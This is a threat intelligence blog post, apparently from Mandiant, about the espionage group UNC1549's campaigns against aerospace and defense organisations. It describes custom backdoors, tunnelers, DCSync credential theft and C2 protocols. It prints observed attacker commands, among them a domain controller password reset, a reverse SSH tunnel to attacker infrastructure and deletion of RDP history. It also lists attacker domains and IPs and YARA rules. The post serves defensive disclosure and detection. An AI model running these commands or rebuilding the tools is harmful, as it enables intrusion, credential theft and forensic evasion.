

Frontline Intelligence: Analysis of UNC1549 TTPs, Custom Tools, and Malware Targeting the Aerospace and Defense Ecosystem

 cloud.google.com/blog/topics/threat-intelligence/analysis-of-unc1549-ttps-targeting-aerospace-defense

Mandiant

November 17, 2025



 Google Cloud

Threat Intelligence

Stop attacks, reduce risk, and advance your security.

Written by: Mohamed El-Banna, Daniel Lee, Mike Stokkel, Josh Goddard

Overview

[blog post](#) highlighting suspected Iran-nexus espionage activity targeting the aerospace, aviation, and defense industries in the Middle East. In this follow-up post, Mandiant discusses additional tactics, techniques, and procedures (TTPs) observed in incidents Mandiant has responded to.

Since mid-2024, Mandiant has responded to targeted campaigns by the threat group UNC1549 against the aerospace, aviation and defense industries. To gain initial access into these environments, UNC1549 employed a dual approach: deploying well-crafted phishing campaigns designed to steal credentials or deliver malware and exploiting trusted connections with third-party suppliers and partners.

The latter technique is particularly strategic when targeting organizations with high security maturity, such as defense contractors. While these primary targets often invest heavily in robust defenses, their third-party partners may possess less stringent security postures. This disparity

provides UNC1549 a path of lesser resistance, allowing them to circumvent the primary target's main security controls by first compromising a connected entity.

Operating in late 2023 through 2025, UNC1549 employed sophisticated initial access vectors, including abuse of third-party relationships to gain entry (pivoting from service providers to their customers), VDI breakouts from third parties, and highly targeted, role-relevant phishing.

Once inside, the group leverages creative lateral movement techniques, such as stealing victim source code for spear-phishing campaigns that use lookalike domains to bypass proxies, and abusing internal service ticketing systems for credential access. They employ custom tooling, notably DCSYNCR.SLICK—a variant deployed via search order hijacking to conduct DCSync attacks.

UNC1549's campaign is distinguished by its focus on anticipating investigators and ensuring long-term persistence after detection. They plant backdoors that beacon silently for months, only activating them to regain access after the victim has attempted eradication. They maintain stealth and command and control (C2) using extensive reverse SSH shells (which limit forensic evidence) and domains strategically mimicking the victim's industry.

Threat Activity

Initial Compromise

A primary initial access vector employed by UNC1549 involved combining targeted social engineering with the exploitation of compromised third-party accounts. Leveraging credentials harvested from vendors, partners, or other trusted external entities, UNC1549 exploited legitimate access pathways inherent in these relationships.

Third-Party Services

Notably, the group frequently abused Citrix, VMWare, and Azure Virtual Desktop and Application services provided by victim organizations to third party partners, collaborators, and contractors. Utilizing compromised third-party credentials, they authenticated to the supplier's infrastructure, establishing an initial foothold within the network perimeter. Post-authentication, UNC1549 used techniques designed to escape the security boundaries and restrictions of the virtualized Citrix session. This breakout granted them access to the underlying host system or adjacent network segments, and enabled the initiation of lateral movement activities deeper within the target corporate network.

Spear Phishing

UNC1549 utilized targeted spear-phishing emails as one of the methods to gain initial network access. These emails used lures related to job opportunities or recruitment efforts, aiming to trick recipients into downloading and running malware hidden in attachments or links. Figure 1 shows a

sample phishing email sent to one of the victims.

Figure 1: Screenshot of a phishing email sent by UNC1549

Following a successful breach, Mandiant observed UNC1549 pivoting to spear-phishing campaigns specifically targeting IT staff and administrators. The goal of this campaign was to obtain credentials with higher permissions. To make these phishing attempts more believable, the attackers often perform reconnaissance first, such as reviewing older emails in already compromised inboxes for legitimate password reset requests or identifying the company's internal password reset webpages, then crafted their malicious emails to mimic these authentic processes.

Establish Foothold

To maintain persistence within compromised networks, UNC1549 deployed several custom backdoors. Beyond MINIBIKE, which Mandiant discussed in the February 2024 blog post, the group also utilizes other custom malware such as TWOSTROKE and DEEPROOT. Significantly, Mandiant's analysis revealed that while the malware used for initial targeting and compromises was not unique, every post-exploitation payload identified, regardless of family, had a unique hash. This included instances where multiple samples of the same backdoor variant were found within the same victim network. This approach highlights UNC1549's sophistication and the considerable effort invested in customizing their tools to evade detection and complicate forensic investigations.

Search Order Hijacking

UNC1549 abused DLL search order hijacking to execute CRASHPAD, DCSYNCR.SLICK, GHOSTLINE, LIGHTRAIL, MINIBIKE, POLLBLEND, SIGHTGRAB, and TWOSTROKE payloads. Using the DLL search order hijacking techniques, UNC1549 achieved a persistent and stealthy way of executing their tooling.

Throughout the different investigations, UNC1549 demonstrated a comprehensive understanding of software dependencies by exploiting DLL search order hijacking in multiple software solutions. UNC1549 has deployed malicious binaries targeting legitimate Fortigate, VMWare, Citrix, Microsoft, and NVIDIA executables. In many cases, the threat actor installed the legitimate software after initial access in order to abuse SOH; however, in other cases, the attacker leveraged software that was already installed on victim systems and then replaced or added the malicious DLLs within the legitimate installation directory, typically with SYSTEM privileges.

TWOSTROKE

TWOSTROKE, a C++ backdoor, utilizes SSL-encrypted TCP/443 connections to communicate with its controllers. This malware possesses a diverse command set, allowing for system information collection, DLL loading, file manipulation, and persistence. While showing some similarities to MINIBIKE, it's considered a unique backdoor.

Upon execution of TWOSTROKE, it employs a specific routine to generate a unique victim identifier. TWOSTRIKE retrieves the fully qualified DNS computer name using the Windows API function `GetComputerNameExW(ComputerNameDnsFullyQualified)`. This retrieved name then undergoes an XOR encryption process, utilizing the static key. Following the encryption, the resulting binary data is converted into a lowercase hexadecimal string.

Finally, TWOSTROKE extracts the first eight characters of this hexadecimal string, reverses it, and uses it as the victim's unique bot ID for later communication with the C2 server.

Functionalities

After sending the check in request to the C2 server, the TWOSTROKE C2 server returns with a hex-encoded payload that contains multiple values separated by "@###@." Depending on the received command, TWOSTROKE can execute one of the following commands:

- 1: Upload a file to the C2
- 2: Execute a file or a shell command
- 3: DLL execution into memory
- 4: Download file from the C2
- 5: Get the full victim user name
- 6: Get the full victim machine name
- 7: List a directory
- 8: Delete a file

LIGHTRAIL

UNC1549 was observed downloading a ZIP file from attacker-owned infrastructure. This ZIP file contained the LIGHTRAIL tunneler as `VGAuth.dll` and was executed through search order hijacking using the `VGAuthCLI.exe` executable. LIGHTRAIL is a custom tunneler, likely based on the open-source `Socks4a` proxy, [Lastenzug](#), that communicates using Azure cloud infrastructure.

There are several distinct differences between the LIGHTRAIL sample and the `LastenZug` source code. These include:

- Increasing the `MAX_CONNECTIONS` from 250 to 5000
- Static configuration inside the `lastenzug` function (`wPath` and `port`)
- No support for using a proxy server when connecting to the WebSocket C2

- Compiler optimizations reducing the number of functions (26 to 10)

Additionally, LastenZug is using hashing for DLLs and API function resolving. By default, the hash value is XOR'd with the value `0x41507712`, while the XOR value in the observed LIGHTRAIL sample differs from the original source code - `0x41424344` ('ABCD').

After loading the necessary API function pointers, the initialization continues by populating the server name (`wServerName`), the port, and URI (`wPath`) values. The port is hardcoded at 443 (for HTTPS) and the path is hardcoded to `"/news."` This differs from the source code where these values are input parameters to the `lastenzug` function.

The `initWS` function is responsible for establishing the WebSocket connection, which it does using the Windows WinHTTP API. The `initWS` function has a hard-coded User-Agent string which it constructs as a stack string:

```
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136
```

[VirusTotal](#) from Germany. However, this sample seems to have been modified by the uploader as the C2 domain was intentionally altered.

```
GET https://aaaaaaaaaaaaaaaaaaaaa.bbbbbbb.cccccccc.ddddd.com/page HTTP/1.1
Host: aaaaaaaaaaaaaaaaaaaaaa.bbbbbbb.cccccccc.ddddd.com
Connection: Upgrade
Upgrade: websocket
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.37 (KHTML, like Gecko)
Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136
Sec-WebSocket-Key: 9MeEoJ3sjbWAEed52LdRdg==
Sec-WebSocket-Version: 13
```

Figure 2: Modified LIGHTRAIL network communication snippet

Most notable is that this sample is using a different URL path for its communication, but also the User-Agent in this sample is different from the one that was observed in previous LIGHTRAIL samples and the LastenZug source code.

DEEPROOT

DEEPROOT is a Linux backdoor written in Golang and supports the following functionalities: shell command execution, system information enumeration and file listing, delete, upload, and download. DEEPROOT was compiled to be operating on Linux systems; however, due to Golang's architecture DEEPROOT could also be compiled for other operating systems. At the time of writing, Mandiant has not observed any DEEPROOT samples targeting Windows systems.

DEEPROOT was observed using multiple C2 domains hosted in Microsoft Azure. The observed DEEPROOT samples used multiple C2 servers per binary, suspected to be used for redundancy in case one C2 server has been taken down.

Functionalities

After sending the check in request to the C2 server, the DEEPROOT C2 server returns with a hex-encoded payload that contains multiple values separated by '-====-'

```
<sleep_timeout>-====-<command_id>-====-<command>-====-<argument_1>-====-<argument_2>
```

Figure 3: Decoded POST body data structure

- **sleep_timeout** is the time in milli-seconds to wait before making the next request.
- **command_id** is an identifier for the C2 command, used by the backdoor when responding to the C2 with the result.
- **command** is the command number and it's one of the following:
 - **1** - Get directory information (directory listing), the directory path is received in **argument_1**.
 - **2** - Delete a file, the file path is received in **argument_1**.
 - **3** - Get the victim username.
 - **4** - Get the victim's hostname.
 - **5** - Execute a shell command, the shell command is received in **argument_1**.
 - **6** - Download a file from the C2, the C2 file path is received in **argument_1** and the local file path is received in **argument_2**.
 - **7** - Upload a file to the C2, the local file path is received in **argument_1**.
- **argument_1** and **argument_2** are the command arguments and it is optional.

GHOSTLINE

GHOSTLINE is a Windows tunneler utility written in Golang that uses a hard-coded domain for its communication. GHOSTLINE uses the [go-yamux](#) library for its network connection.

POLLBLEND

POLLBLEND is a Windows tunneler that is written in C++. Earlier iterations of POLLBLEND featured multiple hardcoded C2 servers and utilized two hardcoded URI parameters for self-registration and tunneler configuration download. For the registration of the machine, POLLBLEND would reach out to **/register/** and sent a HTTP POST request with the following JSON body.

```
{"username": "<computer_name>"}
```

Figure 4: POLLBLEND body data

Code Signing

Throughout the tracking of UNC1549's activity across multiple intrusions, the Iranian-backed threat group was observed signing some of their backdoor binaries with legitimate code-signing certificates—a tactic also covered by [Check Point](#)—likely to help their malware evade detection and bypass security controls like application allowlists, which are often configured to trust digitally signed code. The group employed this technique to weaponize malware samples, including variants for GHOSTLINE, POLLBLEND, and TWOSTROKE. All identified code-signing certificates have been reported to the relevant issuing Certificate Authorities for revocation.

Escalate Privileges

UNC1549 has been observed using a variety of techniques and custom tools aimed at stealing credentials and gathering sensitive data post-compromise. This included a utility, tracked as DCSYNCR.SLICK, designed to mimic the DCSync Active Directory replication feature. DCSync is a legitimate function domain controllers use for replicating changes via [RPC](#). This allowed the attackers to extract NTLM password hashes directly from the domain controllers. Another tool, dubbed CRASHPAD, focused on extracting credentials saved within web browsers. For visual data collection, they deployed SIGHTGRAB, a tool capable of taking periodic screenshots, potentially capturing sensitive information displayed on the user's screen. Additionally, UNC1549 utilized simpler methods, such as deploying TRUSTTRAP, which presented fake popup windows prompting users to enter their credentials, which were then harvested by the attackers.

UNC1549 frequently used DCSync attacks to obtain NTLM password hashes for domain users, which they then cracked in order to facilitate lateral movement and privilege escalation. To gain the necessary directory replication rights for DCSync, the threat actor employed several methods. They were observed unconventionally resetting passwords for domain controller computer accounts using `net.exe`. This action typically broke the domain controller functionality of the host and caused an outage, yet it successfully enabled them to perform the DCSync operation and extract sensitive credentials, including those for domain administrators and Azure AD Connect accounts. UNC1549 leveraged other techniques to gain domain replication rights, including creating rogue computer accounts and abusing Resource-Based Constrained Delegation (RBCD) assignments. They also performed Kerberoasting, utilizing obfuscated `Invoke-Kerberoast` scripts, for credential theft.

```
net user DC-01$ P@ssw0rd
```

Figure 5: Example of an UNC1549 net.exe command to reset a domain controller computer account

In some cases, shortly after gaining a foothold on workstations, UNC1549 discovered vulnerable Active Directory Certificate Services templates. They used these to request certificates, allowing them to impersonate higher-privileged user accounts.

UNC1549 also frequently targeted saved credentials within web browsers, either through malicious utilities or by RDP session hijacking. In the latter, the threat actor would identify which user was logged onto a system through `quser.exe` or `wmic.exe`, and then RDP to that system with the user's account to gain access to their active and unlocked web browser sessions.

DCSYNCER.SLICK

DCSYNCER.SLICK is a Windows executable that is based on the Open source Project [DCSyncer](#) and is based on Mimikatz source code. DCSYNCER.SLICK has been modified to use Dynamic API resolution and has all its `printf` statements removed.

Additionally, DCSYNCER.SLICK collects and XOR-encrypts the credentials before writing them to a hardcoded filename and path. The following hardcoded filenames and paths were observed being used by DCSYNCER.SLICK:

- `C:\users\public\LOG.txt`
- `C:\Program Files\VMware\VMware Tools\VMware VGAuth\LOG.txt`

To evade detection, UNC1549 executed the malware within the context of a compromised domain controller computer account. They achieved this compromise by manually resetting the account password. Instead of utilizing the standard `netdom` command, UNC1549 used the Windows command `net user <computer_name> <password>`. Subsequently, they used these newly acquired credentials to execute the DCSYNCER.SLICK payload. This tactic would give the false impression that replication had occurred between two legitimate domain controllers.

CRASHPAD

CRASHPAD is a Windows executable that is written in C++ that decrypts the content of the file `config.txt` into the file `crash.log` by impersonating the `explorer.exe` user privilege and through the `CryptUnprotectData` API.

- `C:\Program Files\VMware\VMware Tools\VMware VGAuth\crash.log`
- `C:\Program Files\VMware\VMware Tools\VMware VGAuth\config.txt`

The contents of these files could not be determined because UNC1549 deleted the output after CRASHPAD was executed.

The CRASHPAD configuration and output file paths were hardcoded into the sample, similar to the `LOG.txt` filename found in the DCSYNCER.SLICK binary.

SIGHTGRAB

SIGHTGRAB is a Windows executable written in C that autonomously captures screen shots at regular intervals and saves them to disk. Upon execution SIGHTGRAB loads several Windows libraries dynamically at runtime including `User32.dll`, `Gdi32.dll`, and `Ole32.dll`. SIGHTGRAB implements runtime API resolution through `LoadLibraryA` and `GetProcAddress` calls with encoded strings to access system functions. SIGHTGRAB uses XOR encryption with a single-byte key of `0x41` to decode API function names.

SIGHTGRAB retrieves the current timestamp and uses string interpolation of `YYYY-MM-DD-HH-MM` on the timestamp to generate the directory name. In this newly created directory, SIGHTGRAB saves all the taken screenshots incrementally.

```
C:\Users\Public\Videos\2025-3-7-10-17\1.jpg
C:\Users\Public\Videos\2025-3-7-10-17\2.jpg
C:\Users\Public\Videos\2025-3-7-10-17\3.jpg
```

```
C:\Users\Public\Music\2025-3-7-10-17\1.jpg
C:\Users\Public\Music\2025-3-7-10-17\2.jpg
C:\Users\Public\Music\2025-3-7-10-17\3.jpg
```

Figure 6: Examples of screenshot files created by SIGHTGRAB on disk

Mandiant observed UNC1549 strategically deploy SIGHTGRAB on workstations to target users in two categories: those handling sensitive data, allowing for subsequent data exposure and exfiltration, and those with privileged access, enabling privilege escalation and access to restricted systems.

TRUSTTRAP

A malware that serves a Windows prompt to trick the user into submitting their credentials. The captured credentials are saved in cleartext to a file. Figure 7 shows a sample popup by TRUSTTRAP mimicking the Microsoft Outlook login window.

Figure 7: Screenshot showing the fake Microsoft Outlook login window

TRUSTTRAP has been used by UNC1549 since at least 2023 for obtaining user credentials used for lateral movement.

Reconnaissance and Lateral Movement

For internal reconnaissance, UNC1549 leveraged legitimate tools and publicly available utilities, likely to blend in with standard administrative activities. , a valid executable signed by Microsoft, was used to query Active Directory and inspect its configuration details. Alongside this, the group employed native Windows commands like `net user` and `net group` to enumerate specific user

accounts and group memberships within the domain, and PowerShell scripts for ping and port scanning reconnaissance on specific subnets, typically those associated with privileged servers or IT administrator workstations

UNC1549 uses a wide variety of methods for lateral movement, depending on restrictions within the victim environment. Most frequently, RDP was used. Mandiant also observed the use of PowerShell Remoting, Atelier Web Remote Commander (“AWRC”), and SCCM remote control, including execution of variants of SCCMVNC to enable SCCM remote control on systems.

Atelier Web Remote Commander

Atelier Web Remote Commander (AWRC) is a commercial utility for remotely managing, auditing, and supporting Windows systems. Its key distinction is its agentless design, meaning it requires no software installation or pre-configuration on the remote machine, enabling administrators to connect immediately.

Leveraging the capabilities of AWRC, UNC1549 utilized this publicly available commercial tool to facilitate post-compromise activities. These activities included:

- Established remote connections: Used AWRC to connect remotely to targeted hosts within the compromised network
- Conducted reconnaissance: Employed AWRC's built-in functions to gather information by:
 - Enumerating running services
 - Enumerating active processes
 - Enumerating existing RDP sessions
- Stole credentials: Exploited AWRC to exfiltrate sensitive browser files known to contain stored user credentials from remote systems
- Deployed malware: Used AWRC as a vector to transfer and deploy malware onto compromised machines

SCCMVNC

[SCCMVNC](#) is a tool designed to leverage the existing Remote Control feature within Microsoft System Center Configuration Manager (SCCM/ConfigMgr) to achieve a VNC-like remote access experience without requiring additional third-party modules or user consent/notifications.

```
SCCM.exe reconfig /target:[REDACTED]
```

Figure 8: Example of an UNC1549 executing SCCMVNC command

The core functionality of SCCMVNC lies in its ability to manipulate the existing Remote Control feature of SCCM. Instead of deploying a separate VNC server or other remote access software, the tool directly interacts with and reconfigures the settings of the native SCCM Remote Control service on a client workstation. This approach leverages an already present and trusted component within the enterprise environment.

A key aspect of SCCMVNC is its capacity to bypass the standard consent and notification mechanisms typically associated with SCCM Remote Control. Normally, when an SCCM remote control session is initiated, the end-user is prompted for permission, and various notification icons or connection bars are displayed. SCCMVNC effectively reconfigures the underlying SCCM settings (primarily through WMI interactions) to disable these user-facing requirements. This alteration allows for a significantly more discreet and seamless remote access experience, akin to what one might expect from a VNC connection where the user might not be immediately aware of the ongoing session.

Command and Control

UNC1549 continued to use Microsoft Azure Web Apps registrations and cloud infrastructure for C2. In addition to backdoors including MINIBUS, MINIBIKE, and TWOSTROKE, UNC1549 relied heavily on SSH reverse tunnels established on compromised systems to forward traffic from their C2 servers to compromised systems. This technique limited the availability of host-based artifacts during investigations, since security telemetry would only record network connections. For example, during data collection from SMB shares, outbound connections were observed from the SSH processes to port 445 on remote systems, but the actual data collected could not be confirmed due to no staging taking place within the victim environment, and object auditing being disabled.

```
C:\windows\system32\openssh\ssh.exe[Username]@[IP Address] -p 443 -o
ServerAliveInterval=60 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -f -N -
R 1070
```

Figure 9: Example of an UNC1549 reverse SSH command

Mandiant also identified evidence of UNC1549 deploying a variety of redundant remote access methods, including ZEROTIER and NGROK. In some instances, these alternative methods weren't used by the threat actor until victim organizations had performed remediation actions, suggesting they are primarily deployed to retain access.

Complete Mission

Espionage

UNC1549's operations appear strongly motivated by espionage, with mission objectives centering around extensive data collection from targeted networks. The group actively seeks sensitive information, including network/IT documentation, intellectual property, and emails. Furthermore, UNC1549 often leverages compromised organizations as a pivot point, using their access to target other entities, particularly those within the same industry sector, effectively conducting third-party supplier and partner intrusions to further their intelligence-gathering goals.

Notably, Mandiant responded to one intrusion at an organization in an unrelated sector, and assessed that the intrusion was opportunistic due to the initial spear phishing lure being related to a job at an aerospace and defense organization. This demonstrated UNC1549's ability to commit resources to expanding access and persistence in victim organizations that don't immediately meet traditional espionage goals.

Defense Evasion

UNC1549 frequently deleted utilities from compromised systems after execution to avoid detection and hinder investigation efforts. The deletion of forensic artifacts, including RDP connection history registry keys, was also observed. Additionally, as described earlier, the group repeatedly used SSH reverse tunnels from victim hosts back to their infrastructure, a technique which helped hide their activity from EDR agents installed on those systems. Combined, this activity demonstrated an increase in the operational security of UNC1549 over the past year.

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
```

Figure 10: Examples of UNC1549 commands to delete RDP connection history registry keys

Acknowledgement

This analysis would not have been possible without the assistance from across Google Threat Intelligence Group, Mandiant Consulting and FLARE. We would like to specifically thank Greg Sinclair and Mustafa Nasser from FLARE, and Melissa Derr, Liam Smith, Chris Eastwood, Alex Pietz, Ross Inman, and Emeka Agu from Mandiant Consulting.

MITRE ATT&CK

TACTIC	ID	Name	Description
--------	----	------	-------------

Collection	T1213.002	Data from Information Repositories: SharePoint	UNC1549 browsed Microsoft Teams and SharePoint to download files used for extortion.
Collection	T1113	Screen Capture	UNC1549 was observed making screenshots from sensitive data.
Reconnaissance	T16561598.003	Phishing for Information	UNC1549 used third party vendor accounts to obtain privileged accounts using a Password Reset portal theme.
Credential Access	T1110.003	Brute Force: Password Spraying	UNC1549 was observed performing password spray attacks against the Domain.
Credential Access	T1003.006	OS Credential Dumping: DCSync	UNC1549 was observed using DCSYNCR.SLICK to perform DCSync on domain controller level.
Defense Evasion	T1574.001	Hijack Execution Flow: DLL Search Order Hijacking	UNC1549 was observed using Search Order Hijacking to execute both LIGHTRAIL and DCSYNCR.SLICK.
Initial Access	T1078	Valid Accounts	UNC1549 used valid compromised accounts to gain initial access
Initial Access	T1199	Trusted Relationship	UNC1549 used trusted third party vendor accounts for both initial access and lateral movement.

Indicators of Compromise (IOCs)

The [following IOCs are available in a GTI Collection](#) for registered users.

Type	Indicator	Description
network	104.194.215[.]88	Observed being used for SSH tunneling

Type	Indicator	Description
network	13.60.50[.]172	Observed being used for SSH tunneling
network	167.172.137[.]208	Observed being used for SSH tunneling
network	34.18.42[.]26	Observed being used for SSH tunneling
network	4.188.75[.]206	Observed being used for SSH tunneling
network	4.240.113[.]27	Observed being used for SSH tunneling
network	40.119.176[.]233	Observed being used for SSH tunneling
network	politicalanorak[.]com	Observed being used for SSH tunneling
network	ac-connection-status105.azurewebsites[.]net	GHOSTLINE
network	acc-cloud-connection.azurewebsites[.]net	GHOSTLINE
network	active-az-check-status45.azurewebsites[.]net	POLLBLEND
network	active-az-check-status675.azurewebsites[.]net	POLLBLEND
network	active-az-status45.azurewebsites[.]net	POLLBLEND
network	active-az-status795.azurewebsites[.]net	POLLBLEND
network	active-internal-log65.azurewebsites[.]net	POLLBLEND
network	active-internal-logs.azurewebsites[.]net	POLLBLEND

Type	Indicator	Description
network	active-intranet-logs.azurewebsites[.]net	POLLBLEND
network	airbus.usa-careers[.]com	Phishing domain for initial access
network	airlinecontrolsite.uaenorth.cloudapp.azure[.]com	DEEPROOT
network	airlinecontrolsite.westus3.cloudapp.azure[.]com	DEEPROOT
network	airplaneserviceticketings[.]com	MINIBIKE
network	airseatregister.eastus.cloudapp.azure[.]com	DEEPROOT
network	airseatsregister.qatarcentral.cloudapp.azure[.]com	DEEPROOT
network	airseatsregistering.qatarcentral.cloudapp.azure[.]com	DEEPROOT
network	airtravellog[.]com	TWOSTROKE
network	automationagencybusiness.azurewebsites[.]net	TWOSTROKE
network	automationagencybusiness[.]com	TWOSTROKE
network	browsercheckap.azurewebsites[.]net	MINIBIKE
network	codesparkle.eastus.cloudapp.azure[.]com	TWOSTROKE
network	connect-acc-492.azurewebsites[.]net	POLLBLEND
network	connect-acl-492.azurewebsites[.]net	POLLBLEND
network	customerlistchange.eastus.cloudapp.azure[.]com	LIGHTRAIL
network	developercodepro.azurewebsites[.]net	TWOSTROKE

Type	Indicator	Description
network	developercodevista.azurewebsites[.]net	TWOSTROKE
network	dreamtiniventures.azurewebsites[.]net	TWOSTROKE
network	fdtsprobusinesssolutions.azurewebsites[.]net	TWOSTROKE
network	fdtsprobusinesssolutions[.]com	TWOSTROKE
network	fdtsprobusinesssolutions.eastus.cloudapp.azure[.]com	TWOSTROKE
network	fdtsprobusinesssolutions.northeurope.cloudapp.azure[.]com	TWOSTROKE
network	forcecodestore[.]com	TWOSTROKE
network	hserbhh43.westus3.cloudapp.azure[.]com	Observed being used for SSH tunneling
network	infrasync-ac372.azurewebsites[.]net	POLLBLEND
network	intra-az-check-status45.azurewebsites[.]net	POLLBLEND
network	intra-az-check-status675.azurewebsites[.]net	POLLBLEND
network	intra-az-status45.azurewebsites[.]net	POLLBLEND
network	intra-az-status795.azurewebsites[.]net	POLLBLEND
network	masterflexiblecloud.azurewebsites[.]net	TWOSTROKE
network	mso-internal-log65.azurewebsites[.]net	POLLBLEND
network	mso-internal-logs.azurewebsites[.]net	POLLBLEND
network	mso-intranet-logs.azurewebsites[.]net	POLLBLEND

Type	Indicator	Description
network	mydocs.qatarcentral.cloudapp.azure[.]com	Phishing domain for lateral movement
network	nx425-win4945.azurewebsites[.]net	POLLBLEND
network	nx4542-win4957.azurewebsites[.]net	POLLBLEND
network	nxlog-crash-1567.azurewebsites[.]net	POLLBLEND
network	nxlog-win-1567.azurewebsites[.]net	POLLBLEND
network	nxversion-win-1567.azurewebsites[.]net	POLLBLEND
network	nxversion-win32-1127.azurewebsites[.]net	POLLBLEND
network	overqatfa.northeurope.cloudapp.azure[.]com	Observed being used for SSH tunneling
network	queuetestapplication.azurewebsites[.]net	MINIBIKE
network	skychain13424.azurewebsites[.]net	MINIBIKE
network	skychain41334.northeurope.cloudapp.azure[.]com	MINIBIKE
network	skychains42745.eastus.cloudapp.azure[.]com	MINIBIKE
network	skyticketgrant.azurewebsites[.]net	MINIBIKE
network	snare-core.azurewebsites[.]net	POLLBLEND
network	storageboxcloud.northeurope.cloudapp.azure[.]com	TWOSTROKE
network	storagewiz.co.azurewebsites[.]net	TWOSTROKE

Type	Indicator	Description
network	swiftcode.eastus.cloudapp.azure[.]com	TWOSTROKE
network	swifttiniventures.azurewebsites[.]net	TWOSTROKE
network	terratechworld.eastus.cloudapp.azure[.]com	TWOSTROKE
network	thecloudappbox.azurewebsites[.]net	TWOSTROKE
network	thestorageboxcloud.northeurope.cloudapp.azure[.]com	TWOSTROKE
network	thetacticstore[.]com	TWOSTROKE
network	thevaultapp.westus3.cloudapp.azure[.]com	TWOSTROKE
network	thevaultspace.eastus.cloudapp.azure[.]com	TWOSTROKE
network	tini-ventures[.]com	TWOSTROKE
network	vcphone-ms.azurewebsites[.]net	POLLBLEND
network	vcs-news[.]com	Observed being used for SSH tunneling
network	vm-ticket-svc.azurewebsites[.]net	POLLBLEND
network	vm-tools-svc.azurewebsites[.]net	POLLBLEND
network	vmware-health-ms.azurewebsites[.]net	POLLBLEND

YARA Rules

```
import "pe"

rule M_APT_Utility_DCSYNKER_SLICK_1 {
    meta:
        author = "Google Threat Intelligence Group (GTIG)"
        md5 = "10f16991665df69d1ccd5187e027cf3d"

    strings:
        $ = { 48 89 84 24 ?? 01 00 00 C7 84 24 ?? 01 00 00 30 80 28 00 C7 84 24 ??
01 00 00 E8 03 00 00 48 C7 84 24 ?? 01 00 00 00 00 A0 00 BA ?? 00 00 00 8D 4A ?? FF 15 ??
?? 01 00 48 89 84 24 ?? 01 00 00 C7 00 01 00 00 00 48 8B 84 24 ?? 01 00 00 44 89 ?? 04 48
8B 84 24 ?? 01 00 00 C7 40 08 ?? 00 00 00 41 8B ?? }
        $ = "\\LOG.txt" ascii wide
        $ = "%ws_%d:%d:" ascii wide fullword
        $ = "%ws:%d:" ascii wide fullword
        $ = "::::" ascii wide fullword
        $ = "%ws_%d:%d::" ascii wide fullword
        $ = "%ws:%d::" ascii wide fullword

    condition:
        pe.is_pe and all of them
}
```

```

import "pe"

rule M_APT_Utility_CRASHPAD_1 {
    meta:
        author = "Google Threat Intelligence Group (GTIG)"
        md5 = "b2bd275f97cb95c7399065b57f90bb6c"
    strings:
        $ = "[-] Loo ror: %u" ascii fullword
        $ = "[-] Adj r: %u" ascii fullword
        $ = "[-] Th ge. " ascii fullword
        $ = "[+] O s!" ascii fullword
        $ = "[-] O C: %i" ascii fullword
        $ = "[-] O E: %i" ascii fullword
        $ = "[+] Op cess!" ascii fullword
        $ = "[-] Op Code: %i" ascii fullword
        $ = "[-] O Error: %i" ascii fullword
        $ = "[+] Im su!" ascii fullword
        $ = "[+] R" ascii fullword
        $ = "[-] Impe Code: %i" ascii fullword
        $ = "[-] Imo: %i" ascii fullword
        $ = "[+] Du success!" ascii fullword
        $ = "[-] Du Code: %i" ascii fullword
        $ = "[-] Du Error: %i" ascii fullword
        $ = "[+] Dec Suc." ascii fullword
        $ = "%02X" ascii fullword
        $ = "Decryption failed" ascii fullword
        $ = "config.txt"
        $ = "crash.log"
        $ = "[+] e wt!" ascii fullword
        $ = "[+] p %d!" ascii fullword
        $ = "[+] e!" ascii fullword
    condition:
        pe.is_pe and 15 of them
}

```

Google Security Operations Detections

Google SecOps customers receive robust detection for UNC1549 TTPs through curated threat intelligence from Mandiant and Google Threat Intelligence. This frontline intelligence is operationalized within the platform as custom detection signatures and advanced YARA-L rules.

Posted in

[Threat Intelligence](#)